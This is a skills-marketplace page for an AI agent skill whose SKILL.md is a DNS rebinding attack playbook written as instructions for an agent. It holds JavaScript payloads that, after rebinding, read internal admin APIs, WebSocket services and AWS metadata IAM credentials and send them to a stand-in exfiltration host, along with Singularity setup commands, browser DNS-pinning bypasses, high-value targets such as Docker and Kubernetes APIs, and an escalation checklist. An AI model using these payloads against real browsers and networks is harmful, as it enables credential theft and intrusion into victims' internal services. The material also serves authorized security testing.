
dns-rebinding-attacks
DNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.
- Installs
- 3.6K
- Last 24h
- +16
- Trending rank
- #6770
- Security
- Not audited
Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill dns-rebinding-attacks- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads dns-rebinding-attacks automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: DNS Rebinding — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert DNS rebinding techniques for bypassing same-origin policy via DNS manipulation. Covers TTL tricks, browser cache bypasses, attack variants (HTTP, WebSocket, TOCTOU), internal service targeting, and tool usage. Base models confuse DNS rebinding with SSRF — this skill clarifies the client-side nature and unique exploit paths.
0. RELATED ROUTING
- ssrf-server-side-request-forgery — server-side variant; DNS rebinding is the client-side counterpart
- cors-cross-origin-misconfiguration — when CORS misconfig allows direct cross-origin reads instead
1. CORE PRINCIPLE
The browser same-origin policy binds protocol + host + port. The host is resolved via DNS at connection time. If an attacker controls the DNS server for attacker.com, they can:
- First resolution → attacker IP (serve malicious JS)
- Second resolution → internal IP (victim's network)
- Browser considers both responses same-origin (
attacker.com) - Malicious JS reads responses from internal services
Victim visits attacker.com
│
▼
DNS query: attacker.com → 1.2.3.4 (attacker server)
Browser loads malicious JS from 1.2.3.4
│
▼
TTL expires (or forced flush)
│
▼
JS triggers new request to attacker.com
DNS query: attacker.com → 192.168.1.1 (internal target)
Browser sends request to 192.168.1.1 as "attacker.com" origin
│
▼
JS reads response — same-origin policy satisfied
Exfiltrates data to attacker's other endpoint
Key insight: SOP checks the hostname string, not the resolved IP. DNS can change the IP behind the same hostname.
2. TTL MANIPULATION
DNS server configuration
The attacker runs an authoritative DNS server for their domain that alternates responses:
| Query # | Response | TTL |
|---|---|---|
| 1st | Attacker IP (e.g., 1.2.3.4) | 0 |
| 2nd+ | Target internal IP (e.g., 192.168.1.1) | 0 |
TTL=0 tells resolvers not to cache the result, forcing re-resolution on next connection.
Browser DNS cache reality
Browsers maintain their own DNS cache that ignores low TTLs:
| Browser | Internal DNS Cache | Bypass Technique |
|---|---|---|
| Chrome | ~60 seconds minimum | Wait 60s; or use multiple subdomains |
| Firefox | ~60 seconds (network.dnsCacheExpiration) | Adjustable in about:config |
| Safari | ~varies | Generally shorter cache |
| Edge (Chromium) | Same as Chrome (~60s) | Same techniques as Chrome |
Bypass strategies
1. Multiple A records technique:
- Return BOTH attacker IP and target IP in single DNS response
- Browser tries first IP; if connection fails → falls back to second
- Block attacker IP after initial page load → forces fallback to internal IP
2. Subdomain flooding:
- Use unique subdomains: a1.rebind.attacker.com, a2.rebind.attacker.com...
- Each subdomain gets fresh DNS resolution (no cache hit)
3. Service worker flush:
- Register service worker that intercepts and delays requests
- By the time fetch executes, DNS cache has expired
3. ATTACK VARIANTS
3.1 Classic HTTP Rebinding
Target: internal web services (admin panels, REST APIs)
// Served from attacker.com (first DNS resolution → attacker IP)
async function exploit() {
// Wait for DNS cache to expire
await sleep(65000); // >60s for Chrome
// This request now resolves to internal IP
const resp = await fetch('http://attacker.com:8080/api/admin/users');
const data = await resp.text();
// Exfiltrate to different attacker endpoint
navigator.sendBeacon('https://exfil.attacker.com/log', data);
}
3.2 WebSocket Rebinding
WebSocket connections persist after DNS rebinding. Establish WS, then rebind:
// After rebinding, WebSocket connects to internal service
const ws = new WebSocket('ws://attacker.com:9090/ws');
ws.onopen = () => {
ws.send('{"action":"dump_config"}');
};
ws.onmessage = (e) => {
fetch('https://exfil.attacker.com/ws-data', {
method: 'POST',
body: e.data
});
};
3.3 Time-of-Check-to-Time-of-Use (TOCTOU)
Server-side applications that validate DNS at request time but reuse the connection:
1. Application receives URL: http://attacker.com/callback
2. Server resolves attacker.com → 1.2.3.4 (public IP) → passes validation
3. Server opens connection / follows redirect
4. DNS changes: attacker.com → 169.254.169.254
5. Connection reuse or redirect hits internal IP
This is a hybrid with SSRF — the rebinding happens in the server's resolver.
3.4 Multiple A Records (Fastest Variant)
DNS response for attacker.com:
A 1.2.3.4 (attacker — serves JS)
A 192.168.1.1 (target — internal service)
1. Browser connects to 1.2.3.4, loads page with JS
2. Attacker firewall blocks further connections from victim to 1.2.3.4
3. JS makes new request to attacker.com
4. Browser tries 1.2.3.4 → connection refused
5. Falls back to 192.168.1.1 → still same origin
6. Response readable by JS
4. HIGH-VALUE TARGETS
| Target | Port | Why |
|---|---|---|
| Cloud metadata | 169.254.169.254:80 | AWS/GCP/Azure instance credentials, tokens |
| Docker API | 172.17.0.1:2375 | Container creation, host filesystem mount → RCE |
| Kubernetes API | 10.96.0.1:443/6443 | Pod creation, secret reading |
| Internal admin panels | Various | Router config, NAS, printer, SCADA |
| IoT devices | 192.168.x.x:80/443 | Camera feeds, smart home control |
| Elasticsearch | *:9200 | Data exfiltration, index manipulation |
| Redis | *:6379 | Data read, config set for RCE |
| Consul/etcd | *:8500/2379 | Service discovery, secret storage |
Cloud metadata specific
// AWS metadata via rebinding
fetch('http://attacker.com/latest/meta-data/iam/security-credentials/')
.then(r => r.text())
.then(role => {
return fetch(`http://attacker.com/latest/meta-data/iam/security-credentials/${role}`);
})
.then(r => r.json())
.then(creds => {
navigator.sendBeacon('https://exfil.attacker.com/', JSON.stringify(creds));
});
// After rebinding, attacker.com resolves to 169.254.169.254
// Browser sends Host: attacker.com but IMDSv1 doesn't check Host header
IMDSv2 defense: requires X-aws-ec2-metadata-token header from PUT request. Rebinding cannot easily set custom headers on the initial token request in no-cors mode.
5. TOOLS
| Tool | Purpose | URL |
|---|---|---|
| Singularity | Full DNS rebinding attack framework | github.com/nccgroup/singularity |
| rbndr.us | Quick rebind DNS service (IP pair in subdomain) | rbndr.us |
| whonow | Dynamic DNS rebinding server | github.com/taviso/whonow |
| dnsrebinder | Minimal Python DNS server for rebinding | Custom / various repos |
Singularity quick start
# Clone and run
git clone https://github.com/nccgroup/singularity
cd singularity
go build -o singularity cmd/singularity-server/main.go
# Start with rebind from attacker IP to target IP
./singularity -DNSRebindStrategy round-robin \
-ResponseIPAddr 1.2.3.4 \
-RebindingFn sequential \
-ResponseReboundIPAddr 192.168.1.1
rbndr.us (zero-setup)
Format: <hex-ip1>.<hex-ip2>.rbndr.us
Example: 7f000001.c0a80101.rbndr.us
→ alternates between 127.0.0.1 and 192.168.1.1
Convert IP to hex:
192.168.1.1 → c0.a8.01.01 → c0a80101
127.0.0.1 → 7f.00.00.01 → 7f000001
6. DNS REBINDING vs. SSRF
| Aspect | DNS Rebinding | SSRF |
|---|---|---|
| Execution context | Client-side (browser) | Server-side |
| Origin bypass | Same-origin policy | Network access controls |
| Attacker controls | DNS resolution | URL/request sent by server |
| Requires | Victim visits attacker page | Vulnerable server-side fetch |
| Internal access via | Browser on victim's network | Server's network position |
| Credential inclusion | Browser cookies auto-included | No user credentials |
| Protocol support | HTTP/WS (browser-limited) | Any protocol (gopher, file, etc.) |
Critical difference: DNS rebinding leverages the victim's browser as the pivot point, so it accesses services visible from the victim's network, with the victim's cookies/credentials.
7. DEFENSES AND DEFENSE BYPASS
Common defenses
| Defense | How it works |
|---|---|
| DNS pinning | Browser/resolver caches DNS and refuses re-resolution |
| Host header validation | Server rejects requests with unexpected Host header |
| Network segmentation | Internal services not reachable from browser network |
| Private network access (PNA) | Chrome's proposal: preflight for requests to private IPs |
| Authentication on internal services | Internal services require auth, not just network access |
Defense bypass techniques
DNS pinning bypass:
├── Multiple A records → connection failure forces fallback
├── Subdomain per request → no cache hit
├── Wait for cache expiry (Chrome: 60s)
└── Rebind via CNAME chain (harder to pin)
Host header validation bypass:
├── Internal service may not check Host header at all
├── Host: attacker.com accepted by default configs
├── IP-based vhosts don't check Host
└── Wildcard vhost configurations
Private Network Access (PNA) bypass:
├── PNA only in Chrome (as of 2024), partial enforcement
├── WebSocket connections may not trigger preflight
├── HTTPS → HTTP downgrade scenarios
└── Non-browser clients unaffected
8. DECISION TREE
Want to access internal services from victim's browser?
│
├── Can you get victim to visit your page?
│ ├── YES → DNS rebinding is viable
│ │ │
│ │ ├── What is the target?
│ │ │ ├── HTTP service → Classic rebinding (Section 3.1)
│ │ │ ├── WebSocket service → WS rebinding (Section 3.2)
│ │ │ └── Cloud metadata → Metadata exfil (Section 4)
│ │ │
│ │ ├── Browser cache concern?
│ │ │ ├── Chrome → Wait 60s or use multiple subdomains
│ │ │ ├── Firefox → Wait 60s or adjust dnsCacheExpiration
│ │ │ └── Use multiple A records technique for instant rebind
│ │ │
│ │ ├── Target checks Host header?
│ │ │ ├── YES → Rebinding alone won't work
│ │ │ │ └── Check for SSRF instead (../ssrf-server-side-request-forgery/)
│ │ │ └── NO → Proceed with rebinding
│ │ │
│ │ └── Need credentials?
│ │ ├── Browser auto-sends cookies → works if same-site allows
│ │ └── Custom auth header needed → limited (no-cors won't send custom headers)
│ │
│ └── NO → DNS rebinding not applicable
│ └── Consider SSRF if server-side fetch exists
│
└── Is this server-side DNS validation bypass? (TOCTOU)
├── YES → Hybrid approach (Section 3.3)
│ └── SSRF with DNS rebinding for IP validation bypass
└── NO → Review ../ssrf-server-side-request-forgery/ instead
9. REAL-WORLD EXPLOITATION CHECKLIST
□ Set up DNS rebinding infrastructure (Singularity / rbndr.us / custom)
□ Identify target internal services (port scan from victim context if possible)
□ Determine browser DNS cache duration for target browser
□ Choose rebinding variant (classic / multi-A / subdomain flood)
□ Test with benign internal endpoint first (e.g., / on router)
□ Verify same-origin read works after rebind
□ Escalate: cloud metadata → creds, Docker API → RCE, admin panels → config
□ Document: attacker.com DNS config, JS payload, rebind timing, exfil data
FAQ
What does the dns-rebinding-attacks skill do?
DNS rebinding attack playbook. Use when testing applications that trust DNS resolution for origin checks, interact with internal services from browser context, or when SSRF is not possible server-side but the target has client-side fetch/XHR to attacker-controlled domains.
How do I install dns-rebinding-attacks?
Run npx skills add https://github.com/yaklang/hack-skills --skill dns-rebinding-attacks in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/dns-rebinding-attacks/ (personal) or .claude/skills/dns-rebinding-attacks/ (project).
Which AI agents can use dns-rebinding-attacks?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is dns-rebinding-attacks safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains dns-rebinding-attacks?
It is published by yaklang in yaklang/hack-skills. It has 3,584 recorded installs.
More from yaklang/hack-skills
hack
yaklang/hack-skills
Entry P0 primary router and operating doctrine for HackSkills. Use when the task involves web application testing, API security assessment, recon, vulnerability triage, exploit path planning, authorized pentest, code audit, source-leak mining, middleware audit, SOC triage, detection engineering, incident response, or choosing the right next category skill before any deep topic skill. Also use when the user mentions 安全工程师, 渗透测试, 红队, 蓝队, 代码审计, 源码泄露, SRC. Enforce impact-first testing, finish the current asset cluster before expanding, follow half-chains to real control, and require live verification of secrets.
android-pentesting-tricks
yaklang/hack-skills
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent redirection, root detection bypass, tapjacking, and backup extraction during authorized mobile security assessments.
recon-and-methodology
yaklang/hack-skills
Reconnaissance and methodology playbook. Use when mapping assets, discovering endpoints, fingerprinting technology, and building a structured testing plan for a new target.
sqli-sql-injection
yaklang/hack-skills
SQL injection playbook. Use when input reaches SQL queries, authentication logic, sorting, filtering, reporting, or DB-specific blind and out-of-band execution paths.
code-obfuscation-deobfuscation
yaklang/hack-skills
Code obfuscation analysis and deobfuscation playbook. Use when reversing binaries protected by junk code, opaque predicates, self-modifying code, control flow flattening, VM protection, or string encryption.
xss-cross-site-scripting
yaklang/hack-skills
XSS playbook. Use when user-controlled content reaches HTML, attributes, JavaScript, DOM sinks, uploads, or multi-context rendering paths.
Popular backend & apis skills
find-skills
vercel-labs/skills
Helps users discover and install agent skills when they ask questions like "how do I do X", "find a skill for X", "is there a skill that can...", or express interest in extending capabilities. This skill should be used when the user is looking for functionality that might exist as an installable skill.
entra-app-registration
microsoft/azure-skills
Guides Microsoft Entra ID app registration, OAuth 2.0 authentication, and MSAL integration. USE FOR: create app registration, register Azure AD app, configure OAuth, set up authentication, add API permissions, generate service principal, MSAL example, console app auth, Entra ID setup, Azure AD authentication. DO NOT USE FOR: Key Vault secrets (use azure-keyvault-expiration-audit), general Azure resource security guidance.
google-agents-cli-adk-code
google/agents-cli
This skill should be used when the user wants to "write agent code", "build an agent with ADK", "add a tool", "create a callback", "define an agent", "use state management" — in a project that needs ADK (Agent Development Kit) API patterns and code examples. It provides a quick reference for agent types, tool definitions, orchestration patterns, callbacks, state management, the graph Workflow API, and reference recipes to study. Do NOT use for scaffolding (use google-agents-cli-scaffold) or deployment (use google-agents-cli-deploy).
embedded-captions
heygen-com/hyperframes
Add captions or subtitles to an existing single-subject talking-head video without editing the footage. Use for plain verbatim captions, cinematic captions embedded behind the subject, VFX captions, “炸/特效/酷炫字幕,” or a named identity from the 35-style catalog. Route by visual identity, not by backend engine. The quiet anchor rail is the default; embed every word only when the user explicitly wants a fully cinematic treatment. The workflow runs locally end to end, including transcription and subject matting; split multi-shot footage before applying it.
entra-agent-id
microsoft/azure-skills
Provision Microsoft Entra Agent Identity Blueprints, BlueprintPrincipals, and per-instance Agent Identities via Microsoft Graph, and configure OAuth 2.0 token exchange (fmipath, OBO, cross-tenant) including the Microsoft Entra SDK for AgentID sidecar. USE FOR: Agent Identity Blueprint, BlueprintPrincipal, agent OAuth, fmipath token exchange, agent OBO, Workload Identity Federation for agents, polyglot agent auth, Microsoft.Identity.Web.AgentIdentities. DO NOT USE FOR: standard Entra app registration (use entra-app-registration), Microsoft Foundry agent authoring (use microsoft-foundry).
neon
neondatabase/agent-skills
Overview of Neon, a complete set of cloud backend primitives around Lakebase Postgres: Auth, Object Storage, Functions, the AI Gateway, and Realtime. Start here to choose Neon for undecided login, files, APIs, and LLM calls, set up the CLI or MCP server, and follow the branch-first workflow. Use when building an app or backend on Neon, or when "Neon" or "Lakebase Postgres" is mentioned. Child skill neon-postgres wins for an existing DATABASEURL, SQL, schema, inspect, or search. Child skill neon-auth wins for login, users, sessions, identity routing, and Managed Better Auth setup. Child skill neon-realtime wins for live queries in reactive apps and agents. Also use for object storage, S3, buckets, serverless functions, function triggers, cron, AI gateway, LLM calls, realtime, logs, Loki, Grafana, observability, postgres, database, backend, Claimable Neon, neon.new, or a no-signup database.